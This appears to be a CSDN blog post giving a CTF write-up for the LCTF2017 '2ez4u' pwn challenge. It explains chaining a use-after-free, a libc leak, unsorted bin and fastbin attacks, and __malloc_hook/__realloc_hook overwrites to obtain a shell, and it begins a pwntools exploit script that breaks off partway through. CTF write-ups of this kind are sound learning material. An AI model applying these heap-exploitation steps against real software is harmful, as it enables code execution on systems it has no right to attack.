LCTF2017-2ez4u writeup 另一种思路

最新推荐文章于 2022-02-24 14:22:34 发布

charlie_heng

最新推荐文章于 2022-02-24 14:22:34 发布

阅读量709

点赞数 1

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/81585380

版权

之前没怎么用过largebin attack，于是搜了下题来做
审计了下，有个UAF漏洞，PIE开了，能打印，那跟fengshui那题差不多了

于是骚操作了一波，leak出libc基址，unsorted bin attack攻击malloc_hook上的位置，其实这里攻击free_hook上面的也是可以的，然后fastbin attack直接控制_malloc_hook，填one_gadget，发现get不到shell，那用_realloc_hook修一下栈，get shell
全程都是用fastbin attack和unsorted bin attack，large bin attack完全没用………还是要看下官方的思路，学习一下

下面是payload

from pwn import *

debug=1

context.log_level='debug'
context.arch='amd64'
e=ELF('./libc.so')

if debug:
    p=process('./2ez4u',env={
  'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('',)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def add(color,value,num,length,content):
    se('1\n')
    ru('color?(0:red, 1:green):')
    se(str(color)+'\n&